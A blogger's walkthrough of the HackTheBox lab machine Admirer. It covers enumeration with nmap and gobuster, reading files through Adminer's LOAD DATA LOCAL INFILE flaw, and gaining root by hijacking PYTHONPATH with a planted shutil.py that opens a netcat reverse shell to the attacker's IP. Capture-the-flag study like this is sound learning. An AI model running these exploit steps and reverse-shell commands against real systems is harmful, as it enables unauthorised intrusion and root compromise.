Hello everyone!
Today, I'm publishing a new writeup for HackTheBox's box Admirer. This machine was made by polarbearer and GibParadox and while it has been rated easy by its makers, the community seems to have found it rather medium as its difficulty has been rated 5.3/10.
This machine was quite interesting: the foothold and user part are rather difficult to get and require a lot of enumeration. The root part, while relying on a well-known security issue, is interesting as well and made me learn a bit more about Python.
Find this walkthrough in video (in French)!
So let's get started. First, as usual we add the IP address of the box into our /etc/hosts
file in order to designate the machine by the name admirer.htb
. Once this has been done, we run a classical port scan using nmap
:
$ nmap -sC -sV -oA nmap/admirer admirer.htb # Nmap 7.80 scan initiated Sun Sep 6 12:21:03 2020 as: nmap -sC -sV -oA nmap/admirer admirer.htb Nmap scan report for admirer.htb (10.10.10.187) Host is up (0.10s latency). Not shown: 997 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0) | ssh-hostkey: | 2048 4a:71:e9:21:63:69:9d:cb:dd:84:02:1a:23:97:e1:b9 (RSA) | 256 c5:95:b6:21:4d:46:a4:25:55:7a:87:3e:19:a8:e7:02 (ECDSA) |_ 256 d0:2d:dd:d0:5c:42:f8:7b:31:5a:be:57:c4:a9:a7:56 (ED25519) 80/tcp open http Apache httpd 2.4.25 ((Debian)) | http-robots.txt: 1 disallowed entry |_/admin-dir |_http-server-header: Apache/2.4.25 (Debian) |_http-title: Admirer Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sun Sep 6 12:21:16 2020 -- 1 IP address (1 host up) scanned in 13.00 seconds
As we can see, we have three open ports:
nmap
already read the robots.txt
file and shows us that a directory has been disallowed from being visited by robots: admin-dir
. This should be our first clue in order to own this box.The website in itself isn't really interesting, it is a gallery of pictures and quotes. As expected, the robots.txt
file looks like that:
This file gives us another info: the administrator might have the username waldo
. Browsing to admirer.htb/admin-dir
gives us a 403 Forbidden status code, so we will have to find another way to see the contents of this directory.
We're going to try and enumerate the contents of this directory. To do so, we use a tool called gobuster
1. This software allows us to test the existence of files at a given URL using a wordlist. Moreover, the tool makes use of multithreading which makes it faster than other tools such as dirb
.
We will use a wordlist provided by dirb
: common.txt
. We then launch the following command:
$ gobuster dir -u 'http://admirer.htb/admin-dir/' -w wordlists/common.txt -o gobuster/run.gobuster
This command allows us to try every name in the wordlist as a file of admin-dir
directory. However, a quick run shows us that gobuster
doesn't find anything relevant beside .htaccess
and .htpasswd
files. The issue here is that the files we are looking for don't have a common extension for the web. Usually, we look for files with .php
extension or more web-oriented extensions. As we don't know which extension to look for, we can make use of the extensions_common.txt
wordlist from dirb
. This file gives 29 common extensions. After having transformed this file in a comma-separated string of extensions, we run gobuster
again, and this time with a larger wordlist:
$ gobuster dir -u 'http://admirer.htb/admin-dir/' -w wordlists/big.txt -o gobuster/run.gobuster -x cfm,aspx,txt,nsf,jhtml,xml,c,asp,bat,pl,exe,dll,log,jsp,jsa,cgi,shtml,sh,mdb,htm,php,inc,sql,reg,phtml,html,com
The run is obviously longer, but it gives us the result we wanted:
$ cat gobuster/run.gobuster /.htaccess (Status: 403) /.htaccess.txt (Status: 403) /.htpasswd (Status: 403) /.htpasswd.txt (Status: 403) /contacts.txt (Status: 200) /credentials.txt (Status: 200)
We then open both files and we get:
While contacts.txt
is interesting because it gives us names of potential users of the machine, credentials.txt
is more interesting as it gives us directly credentials. Moreover, we know that there is an FTP server running on the machine, so the credentials labelled as [FTP account]
is certainly going to be useful.
We are going to try the credentials we got in the foothold part:
$ fpt admirer.htb
Connected to admirer.htb.
220 (vsFTPd 3.0.3)
Name (admirer.htb:rubytox): ftpuser
331 Please specify the password.
Password: %n?4Wz}R$tTF7
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
It works! We can now browse and get any interesting files:
ftp> ls 200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. -rw-r--r-- 1 0 0 3405 Dec 02 2019 dump.sql -rw-r--r-- 1 0 0 5270987 Dec 03 2019 html.tar.gz 226 Directory send OK. ftp> get dump.sql 200 PORT command successful. Consider using PASV. 150 Opening BINARY mode data connection for dump.sql (3405 bytes). 226 Transfer complete. 3405 bytes received in 0,00117 seconds (2,77 Mbytes/s) ftp> get html.tar.gz 200 PORT command successful. Consider using PASV. 150 Opening BINARY mode data connection for html.tar.gz (5270987 bytes). 226 Transfer complete. 5270987 bytes received in 8,25 seconds (624 kbytes/s)
The file dump.sql
wasn't very interesting: it presents the SQL requests that have been issued in order to add the pictures of the website to the database. We get here the name of the database which is admirerdb
.
The html.tar.gz
archive is more interesting: it looks like a backup of the website, including the hidden directories. After having gunzipped and untared it, we get the following files:
$ ls drwxr-x--- 6 rubytox rubytox 4096 6 juin 2019 assets drwxr-x--- 4 rubytox rubytox 4096 2 déc. 2019 images -rw-r----- 1 rubytox rubytox 4613 3 déc. 2019 index.php -rw-r----- 1 rubytox rubytox 134 1 déc. 2019 robots.txt drwxr-x--- 2 rubytox rubytox 4096 2 déc. 2019 utility-scripts drwxr-x--- 2 rubytox rubytox 4096 2 déc. 2019 w4ld0s_s3cr3t_d1r
First, let's take a look at index.php
page. The file contains:
$servername = "localhost"; $username = "waldo"; $password = "]F7jLHw:*G>UPrTo}~A"d6b"; $dbname = "admirerdb";
We notice an error in the password that can cause a syntax error with PHP, however we do not get this message when we browse directly into the website: this could mean that the file has changed and that the password is not the same now. I tried multiple variations of this password and nothing worked.
The directory w4ld0s_s3cr3t_d1r
only contains the two txt
files we found earlier. However, the directory utility-scripts
contains useful information: it contains files related to database management. Now, it is time to make an educated guess: the name of the box is Admirer, which looks a lot like Adminer2: a PHP file that allows database management in a very easy way. We just need to try whether such a file is present in our server, and it is:
We can also notice that this version of Adminer is outdated: the server runs version 4.6.2 instead of 4.7.7, the latest version. After looking for a little bit, we find that there is an exploit for this version that allows us to query any file the user www-data
has access to.
This exploit is documented on sansec.io and works the following way: the adminer.php
page allows anyone to connect to their own SQL database, as we can see in the previous screenshot. Then, once connected we can perform a data import request in order to ask the server for a specific local file.
I created a database user on my machine and started Wireshark in order to be able to read all the exchanged messages between my machine and the box. First, I gave Adminer my IP address as well as the credentials to the new user, then I use the "SQL request" screen to type in my own request.
The request we are going to issue is LOAD DATA LOCAL INFILE
: it should load a local file and add its data to a specified table in our database. The exploit here comes from the fact that "local" for Adminer means the place where adminer.php
is located, thus the targeted box.
A good idea would be to query index.php
, as it might contain the current valid credentials as we saw in the backup file. We launch the following request:
LOAD DATA LOCAL INFILE '../index.php' INTO TABLE testdb.testdb FIELDS TERMINATED BY "," LINES TERMINATED BY "\n";
Then, we right-click on any TCP packet corresponding to the execution of this request in Wireshark and click on "Follow TCP stream": this will reconstitute all the packets that were exchanged and we will get our file. As a matter of fact, we get:
We now have the credentials the user uses to connect to the database. We might give those credentials a try with the SSH server as well:
$ ssh waldo@admirer.htb
waldo@admirer.htb's password: &<h5b~yK3F#{PaPB&dA}{H>
Linux admirer 4.9.0-12-amd64 x86_64 GNU/Linux
The programs included with the Devuan GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have new mail.
Last login: Sun Sep 13 22:27:02 2020 from 10.10.15.39
waldo@admirer:~$ cat user.txt
2c8a9[-- REDACTED --]b5bbf
waldo@admirer:~$
We got user! Now on to root part.
One of the first things you should check once you have owned user is which sudo
permissions you have. This is performed by the command sudo -l
and lists all the commands you can execute as root without having to be in the sudoers group. On this machine, we get the following result:
$ sudo -l [sudo] password for waldo: Matching Defaults entries for waldo on admirer: env_reset, env_file=/etc/sudoenv, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, listpw=always User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh
So we see that there is a script in /opt/scripts/
that we can execute as root. Let's look at what that script does.
Basically, this script allows the user to perform management tasks on the system: they can backup important files, backup the website, view crontabs for instance. The most interesting part is the following one, this code is executed when we ask for a website backup:
backup_web() { if [ "$EUID" -eq 0 ] then echo "Running backup script in the background, it might take a while..." /opt/scripts/backup.py & else echo "Insufficient privileges to perform the selected operation." fi }
The script is simple: if we're root, we execute the script /opt/scripts/backup.py
, if we're not root it tells us we need to be root. Our permissions allow us to execute this code as root, so we are able to execute backup.py
. This file looks like that:
#!/usr/bin/python3 from shutil import make_archive src = '/var/www/html/' # old ftp directory, not used anymore #dst = '/srv/ftp/html' dst = '/var/backups/html' make_archive(dst, 'gztar', src)
This file is owned by root, so we can't modify it. However, we can see something quite interesting: the script makes use of a function that is part of the shutil
module. In addition, we saw earlier that our permissions to launch admin_tasks.sh
script has the SETENV
flag set. This means we can not only run the script as root, but also set environment variables while running the script.
To exploit this weakness, we need to understand how modules import work in python. Python3 uses an environment variable called PYTHONPATH
: when we import a module, it starts by looking in the paths of this variable if the specified file is found. Thus, it would be very easy to make our own shutil
package, put it into PYTHONPATH
and then execute backup.py
as root.
We start by making a script called shutil.py
in /home/waldo/tmp
, which content is:
import os def make_archive(a, b, c): os.system("nc 10.10.40.100 1337 -e '/bin/bash'")
Then, on our machine we listen on port 1337 by typing:
$ nc -nlvp 1337
Then, we execute the following command:
$ sudo PYTHONPATH="/home/waldo/tmp:$PYTHONPATH" /opt/scripts/admin_tasks.sh [[[ System Administration Menu ]]] 1) View system uptime 2) View logged in users 3) View crontab 4) Backup passwd file 5) Backup shadow file 6) Backup web data 7) Backup DB 8) Quit Choose an option: 6 Running backup script in the background, it might take a while...
And eventually, we get in our nc
window:
$ nc -nlvp 1337 Connection from 10.10.10.187:59278 id uid=0(root) gid=0(root) groups=0(root) cat /root/root.txt 7dd21[-- REDACTED --]9f65a
We got root!
I really liked this machine. I had to manipulate a lot of concepts that I'm not used to: the enumeration part was harder than the usual ones because of the extensions, I had to use different tools such as Wireshark for the Adminer part, and the root part was really good as well because I had no idea I could set environment variables while running a command with such permissions.
So this is over for this box! If you have any comments or suggestions, feel free to open an issue on this website's GitHub page.
gobuster
's GitHub page↩
Copyright © 2020-2021 Rubytox